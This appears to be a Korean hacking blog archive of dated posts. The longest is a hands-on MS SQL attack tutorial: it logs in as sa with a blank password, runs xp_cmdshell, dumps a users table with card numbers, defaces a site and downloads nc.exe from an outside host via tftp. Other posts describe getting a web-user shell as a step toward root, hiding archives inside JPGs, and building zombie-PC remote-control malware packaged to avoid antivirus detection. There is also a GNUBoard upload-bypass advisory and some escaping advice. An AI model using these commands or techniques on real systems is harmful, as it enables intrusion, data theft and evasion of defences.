위의 프로그램은 Hanterm을 띄울때 실행해 주면 된다.

한텀이 띄어진후 finger명령을 실행하면 WWW나 nobody권한으로
쉘이 뜨는것을 확인할 수 있다.

이제부터 ROOT를 따기위한 기초작업이 성립된 것이다.
2010/03/12 15:36 2010/03/12 15:36

[SQL 인젝션 해킹 주의요망]

1. 해킹

최근 국내 및 전세계적으로 SQL 인젝션등 잇다른 해킹사고가 발생하고 있습니다.


2. 점검방법

1) KISA는 홈페이지 주요 취약성을 파악하는 보안성 강화도구 캐슬(CASTLE)과
웹 서버에 숨겨진 웹셀을 탐지해 관리자에게 통지하는 휘슬(WHISTL)을 보급하고 있기 때문에 이를 이용하는 것도 좋은 방법”
다운로드 : 캐슬,휘슬 http://www.krcert.or.kr/index.jsp 오른쪽 아래
 
2) 웹취약점 점검서비스 :
   중소기업 , 비영리 단체 무료점검신청 http://toolbox.krcert.or.kr/

2010/03/12 15:35 2010/03/12 15:35
magic_quote_gpc
Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \\ (backslash) and NUL's are escaped with a backslash automatically.

이것은 자동으로 addslashes() 를 하는 옵션입니다.
하지만 sql 문법에 완전히 맞지 않습니다.
물론 \\ 로 escape 하는 문법을 지원해 주긴 합니다만, 원래의 문법은 아닙니다.
게다가 ; 는 escape 시키지 않으니 사소한 실수로 큰 보안구멍이 발생할 수 있습니다.

*_escape_string()
각 sql 별로 escape_string() 이라는 함수가 제공됩니다.
mysql_escape_string('문자열') 로 mysql 에 맞는 escape 된 문자열로 변환해 줍니다.
일반적으로 sql 의 문법은 문자열을 작은따옴표(') 로 묶고, 작은따옴표를 표현하는것은 작은따옴표 2번 입니다.('')
이것 '참' 좋군 이라는 문자열을 escape 시킨다면
이것 ''참'' 좋군 이 되고
query('INSERT INTO table VALUES (\\'이것 \\'\\'참\\'\\' 좋군\\');') 이 될 것입니다.


보통은 post 받은 문자열을 db 에 넣을 것이므로
$_POST = array_map('mysql_escape_string', $_POST); 로 한번에 escape 시키고 사용하면 됩니다.
주의할 것은 select 한 결과를 그대로 재사용할 때 다시 escape 시켜야 한다는 것입니다.
result 는 escape 되지 않은 문자열 입니다.

prepared query
좀더 안전하고 편리한 방법으로 prepared query 를 이용하는 방법이 있습니다.
INSERT INTO table (a, b) VALUES (:a, :b) 라는 쿼리를 미리 prepare (컴파일?) 시킵니다.
이 단계에서는 인젝션이 일어날 문자열이 아예 포함되지 않은채 prepare 됩니다.
그 다음 prepare 된 쿼리에 문자열을 bind 하여 쿼리를 실행합니다.
bind 단계에서는 파싱하지 않으므로 escape 시키지 않아도 안전합니다.

mysqli, pg 등이 제공하고, PDO 를 이용하면 손쉽게 적용할 수 있습니다.
$db = new PDO(접속);
$stmt = $db->prepare('INSERT INTO table (a, b) VALUES (:a, :b)');
$fields[':a'] = '\\'; DELETE FROM table;\\';
$fields[':b'] = '\\'; DELETE FROM table;\\';
$stmt->execute($fields);


bind 값인 :a, :b 는 문자열이든 수이든 따옴표를 쓰지 않습니다.
위의 예제 외에 bindParam() 함수를 이용하여 & 참조변수로 만들어 변수에 값만 채우고 execute() 하면 되는 방식도 있습니다.

WHERE 절에는 prepare binding 을 사용하지 않는것이 좋습니다.
sql 은 쿼리를 분석하여 최적의 인덱싱 방법을 결정합니다.
쿼리에 검색조건이 완전하지 않으면 일반적인 인덱싱밖에 적용될 수 없습니다.

어떻게 뚫을 수 있지? 아무리 생각해도 이 코드에서는 뚫을 수 없어. 그러니 귀찮게 escape 안시켜도 돼.
오만입니다. 개인의 생각에는 한계가 있고, 뚫린 후에는 늦습니다.
escape 는 프로그래머의 기본 예절 입니다.
2010/03/12 15:34 2010/03/12 15:34

아주 간단합니다. ㅎㅎ

COPY /b 이름1.JPG + 이름2.rar 이름3.jpg

이렇게 하면  1이랑 2 요놈 둘이 이름3.JPG 로 변경 됩니다. ^^

2009/11/20 19:03 2009/11/20 19:03

후배가 여러 컴퓨터를 좀비 PC 로 만들려고 계획을 세우고 있었다.

근데 어느날 갑자기. 완성 - 감탄했다.

문제점 - 백신이 업데이트 되면 자동 치료 -

궁금해서 여러 사이트를 서핑 하면서 . 좀비 + 원격제어 + 기타 등등 소스를 보게 되었다.

그래서 본인이 여러차례 수정을 거듭해서 완성하게 되었다. 

회사 엑티브엑스 인증서를 쓰기가 그래서 테스트 인증서로 테스트를 했는데.

성공적으로 작동하는것을 확인 했다.

이런 작업을 하면서 필요 했던 프로그램이다.

이번에 느낀건데 절대로 검증 안된 사이트에서 엑티브 엑스를 설치 하지 말아야 할것이다. ^^


-

확실히 WinRAR 가 BAT 2 EXE보다 바이러스 오진율이 적군요.

 

이제 WINRAR와 BAT2EXE 을 장점과 단점.

BAT 2 EXE

장점 : 파일을 용량이 적다.

          안에 파일을 보기가 어렵다.

단점 : 바이러스 오진율이 높다.


WINRAR

장점 : 바이러스 오진율이 적다.

단점 : 파일을 용량이 크다.

          RAR로 압축되어 안의 파일을 맘대로 볼수 있다.

2009/11/20 18:35 2009/11/20 18:35

http://www.securitytracker.com/alerts/2005/Jan/1012812.html

국내 해커들이 쉬쉬하는 사이....
해외 해커 그룹이 해당 보안 취약점을 발표해버렸습니다.

2009/10/12 10:38 2009/10/12 10:38

opt님이 보안 취약점을 열심히 올리시네요.
수고가 많으십니다. santy 웜이 아주 발작을 하는 시점에 무덤덤하네요. 그누보드는 근 한달 사이에 2번째인듯하네요
이젠 보드 사이를 해매고 있는데 이것도 spyki에 바로 올라가겠는데요.
ps. 이젠 무슨 보드를 써야할지 휴우

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

STG Security Advisory: [SSA-20041224-21] File extensions restriction bypass
vulnerability in GNUBoard.

Revision 1.0
Date Published: 2004-12-24 (KST)
Last Update: 2005-01-33
Disclosed by SSR Team (advisory at stgsecurity.com)

Summary
========
GNUBoard is one of widely used web BBS applications in Korea. However, an
input validation flaw can cause malicious attackers to run arbitrary
commands with the privilege of the HTTPD process, which is typically run as
the nobody user.

Vulnerability Class
===================
Implementation Error: Input validation flaw

Impact
======
High : arbitrary command execution.

Affected Products
================
GNUBoard 3.40 and prior

Vendor Status: NOT FIXED
========================
2004-12-09 Vulnerability found
2004-12-09 Vendor contacted and confirmed.
2005-01-03 Official release.

Details
=======
Implementation of check every file extension of upload files is
case-sensitive. Bypassing this mechanism, malicious attackers can upload
arbitrary script files (php, pl, cgi, etc) to a web server.

gbupdate.php (107 line)
- ----
// 실행가능한 스크립트 확장자
$source = array ("/\.php/", "/\.htm/", "/\.cgi/", "/\.pl/");
$target = array (".phpx", ".htmx", ".cgix", ".plx");
- ----

gbupdate.php (142 line)
- ----
// php_x 와 같은 방법으로 스크립트 실행을 하지 못하게 하였으나 abc.php._x
는 실행되는 버그가 있음
$filename = preg_replace($source, $target, $filename);
// 접두사를 붙인 파일명
$upload[$i] = $prefix . $filename;
$dest_file = "./data/file/$bo_table/$upload[$i]";
- ----

malicious attackers can upload [attack].PHP.rar, [attack].pHp.rar, etc.

Solution
=========
modify 108th line of gbupdate.php as following
$source = array ("/\.php/i", "/\.htm/i", "/\.cgi/i", "/\.pl/i");

Vendor URL
==========
http://www.sir.co.kr/

Credits
======
Jeremy Bae at STG Security

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBQdjxDD9dVHd/hpsuEQIfQgCdH1I3gYRYQhM49hOOEKg35puXscUAoK07
zKwL5QKjuY2Nb2yzKAtFwDhJ
=o+Ui
-----END PGP SIGNATURE-----

2009/10/12 10:37 2009/10/12 10:37
주제2. 1434포트 이용(SQL 포트)
------------------------------
자, 우리는 위에서 어떻게 조작된 URLs를 이용해서 데이타베이스를 깨는지를 알아봤는데,
이는 80포트(HTTP)만을 이용한것이었다. 이번에는 1434 포트를 해킹하는데 사용하도록 하겠다.
그전에 우리는 실제로 데이타베이스 서버들이 무엇이고 그들이 어떻게 작동을 하고 어떻게
또한 고녀석들을 공격할 수 있는지를 알아볼 것이다.

MS sql의 제작자들은 웹디자이너들에게 유용하게 제품을 만들 수 있도록 하기위해,
몇가지 프로시저들을 저장하는 객체들을 주었다. 이것들은 필요는 없지만 인자로 넘겨온 것들로
몇가지 수행은 할 수 있다. 이녀석들은 해커들에게 매우 중요하다. 중요한 것들은 다음과 같다.

sp_passsword -> 로그인 이름에 대한 패스워드를 변경한다.
e.g. EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’

sp_tables -> 현재 데이타베이스에 있는 모든 테이블을 보여준다.
e.g. EXEC sp_tables

xp_cmdshell -> 관리자 권한하에 임의의 시스템 명령어를 수행한다. (가장 중요함)

xp_msver -> OS에 관한 모든 정보를 포함해서 MS SQL 서버 버전을 보여준다.
e.g. master..xp_msver

xp_regdeletekey -> 레지스트리 키 값을 삭제한다.

xp_regdeletevalue -> 레지스트리 값을 삭제한다.

xp_regread -> 레지스트리 값을 읽는다.

xp_regwrite -> 레지스트리 키를 쓴다.

xp_terminate_process -> 프로세스를 중지한다.

요것들이 중요한 몇가지이다. 실제로는 50개정도가 더 있다.
만약 당신이 MS SQL 서버를 보호하고 싶다면 이런것들을 싸그리 지우길 나는 권장한다.
MS SQL 서버 엔터프라이즈 메니저를 이용해서 마스터 데이타베이스는 열려있다.
이제는 확장된 저장소를 더욱 확장시키고 단지 우측 클릭과 삭제를 이용해서 저장된 것들을
지워라. (쉽게보자면 ctrl + A 한다음에 shift + del 해라. 이런 내용 같죠?)

NOTE: Master는 SQL 서버에서 가장 중요한 데이타베이스로 로그인 이름과 시스템 프로시저등
모든 시스템 정보를 포함하고 있다. 그래서 만약 해커가 이 마스터를 지운다면 SQL 서버는
죽을것이다. Syslogins는 데이타베이스에서 사용자이름과 로그인 패스워드를 포함하는 기본적인
시스템 테이블이다.

가장 위험스리한 짓꺼리 : 마이크로소프트 SQL 서버는 기본적으로 "sa"라는 사용자 이름과 함께
공백의 패스워드를 갖고 있다. (즉 ID는 sa고 PASSWORD는 없음) 이것이 과거에 많은 MS sql서버에
포함되어 있었다. 바이러스가 이를 악용함으로써 이 취약점이 패치되었다.

아! 이제 충분해. 해킹이나 하자. 우선! 우리는 서버 취약점들을 찾아봐야할것이다.
좋은 포트 스캐너(웹에 깔렸다)를 다운받은다음에 IP를 찍고 1433/1434 (TCP나 UDP) 포트가
열려있는지를 스캐닝하자. 포트가 열려있다는 의미는 sql 서비스가 돌아간다는 얘기다.
오라클은 포트가 틀리다. 1521이다.
우리는 여기서 일단 198.188.178.1이라는 IP를 지니는 취약한 서버를 얻었다고 가정한다.
(이건 단지 예다. 실제로 공격하지 마세요)
여기서 SQL 서비스를 이용하는 방법은 매우 많다. 텔넷이나 netcat이나.
그러나 당신은 SQL 서버 2000과 함께 배를 탄 osql.exe라는 알려진 툴을 사용할 수 있다.
OK! 이제 함 해보자.

C:>osql.exe -?
osql: unknown option ?
usage: osql              [-U login id]          [-P password]
  [-S server]            [-H hostname]          [-E trusted connection]
  [-d use database name] [-l login timeout]     [-t query timeout]
  [-h headers]           [-s colseparator]      [-w columnwidth]
  [-a packetsize]        [-e echo input]        [-I Enable Quoted Identifiers]
  [-L list servers]      [-c cmdend]
  [-q "cmdline query"]   [-Q "cmdline query" and exit]
  [-n remove numbering]  [-m errorlevel]
  [-r msgs to stderr]    [-V severitylevel]
  [-i inputfile]         [-o outputfile]
  [-p print statistics]  [-b On error batch abort]
  [-O use Old ISQL behavior disables the following]
      <EOF> batch processing
      Auto console width scaling
      Wide messages
      default errorlevel is -1 vs 1
  [-? show syntax summary]

osql 툴의 도움말 화면이다. 우리가 하고픈것을 분명하게 도와준다. 쳐라.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “”

만약 성공적으로 로그인이 된다면 우리는 무엇인가를 얻게될것이고,
그렇지 않는다면 "sa" 사용자 로그인 실패메시지를 얻게 될것이다.

이제 우리는 단지 기본적으로 저장된 "xp_cmdshell"을 이용함으로써 원격으로 명령어를 수행하길 원한다.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘dir >dir.txt’”

나는 ?q 옵션보다는 ?Q 옵션을 사용하길 바라는데 왜냐면 쿼리 실행후에 탈출하기 때문이다.
원격에서 어떤 시스템 명령어도 우리는 수행할 수 있음을 확인할 수 있다.
이제 우리는 원격에서 어떤 파일을 업로드하거나 다운로드할 수 있다. 똑똑한 공격자는 백도어를 설치해서
차후를 대비할 것이다. 내가 전에 언급했던 "information_schema.tables"를 이용함으로써
그것의 내용과 테이블 리스트를 얻을 수 있다.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select * from information_schema.tables”

login이나 accounts나 users나 카드같은 정보를 포함할 것 같은 테이블을 찾아봐라.

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select * from users”

그리고

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “select username, creditcard, expdate from users”

출력물:

Username     creditcard                   expdate
-----------      ------------                   ----------
Jack              5935023473209871   2004-10-03 00:00:00.000
Jill             5839203921948323   2004-07-02 00:00:00.000
Micheal        5732009850338493   2004-08-07 00:00:00.000
Ronak          5738203981300410    2004-03-02 00:00:00.000

index.html 파일에 뭣 좀 쓸까?

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘echo defaced by Chintan > C:inetpubwwwrootindex.html’”

원격 시스템에서 파일을 업로드하고 싶나?

C:> osql.exe ?S 198.188.178.1 ?U sa ?P “” ?Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:nc.exe’”

그리고 다운로드 하고싶을땐 우리는 GET 대신에 PUT을 써야한다. 왜냐구?
이 명령어는 원격에서 실행되는것이지 우리것이 아니다. 그래서 만약 GET 요청을 하면 이는
원격에서 실행될것이고 우리의 머쉰에서 원격 머쉰으로 nc.exe를 다운받으려 할것이다.
(이해하셨죠? 즉 보는 관점이 공격자가 아니라 희생자 서버라는 얘기)

이게 끝이 아니다. SQL 서버의 로그인 패스워드를 해킹할 수 있는 툴들은 웹에서 쉽게 사용할 수 있다.
심지어는 많은 버퍼오버플로우가 발견되었기때문에 우리는 시스템 관리자 권한을 얻을 수도 있다.
이 기사는 단지 데이타베이스 서버에 대해서 일반적인 이슈들만을 제공한다.

Sapphire 웜을 기억하나? 이것은 1월 25일날 발표되었다. 이 웜은 SQL 서버에서 1433/1434 UDP 포트의
알려진 3가지 취약점을 이용한 것이었다.

대비책
------
<*>    기본 계정인 sa의 패스워드를 변경하라.
<*>    모든 디폴트 프로시저를 지워라.
<*>    `,",--,: 등 모든 문자를 필터해라.
<*>    패치한 날짜정보를 지켜라.
<*>    방화벽을 이용해서 MS SQL의 1433/1434 포트과 오라클 1521 포트를 막아라.

보안을 기억하는 것은 추가요소가 아니다. 관리자의 현명함에 달려있다. 해커와 관리자와의 전쟁은
계속 계속 계속 계속... 최근에 발표된 뉴스나 버그 리포트를 수집한 자가 전쟁에서 우승한다.
데이타베이스 관리에 관한 내용은 http://sqlsecurity.com 과 같은 사이트에서 접할 수 있다.

어떤 설명이나 좋은 비평을 항상 기다리고 있다.
2009/10/07 17:04 2009/10/07 17:04
중국 친구들이 사용하는 SQLRootkit 이라는 도구가 있다.

SQLRootkit

해당 도구는 MS SQL 서버의 접속 정보를 안 상태에서
웹 서버를 거점으로 DB서버에 임의의 명령어를 실행시키게 해준다.

물론 DBMS가 MS-SQL 서버일 경우에만 적용이 된다.
2009/09/30 21:50 2009/09/30 21:50
http://www.nstalker.com/nstealth/

웹 취약점 스캐너로 유명한 nstealth 입니다.
2009/09/30 21:50 2009/09/30 21:50
사용자 삽입 이미지

- rkdscan 은 루트킷 전문 스캐너이다.

- 윈도용 루트킷을 잡아내는 기능을 제공한다.

- 최근 유행하는 윈도 원격 루트킷을 잡아낸다.

2009/09/30 21:48 2009/09/30 21:48
HDSI툴분석
2009/09/30 21:46 2009/09/30 21:46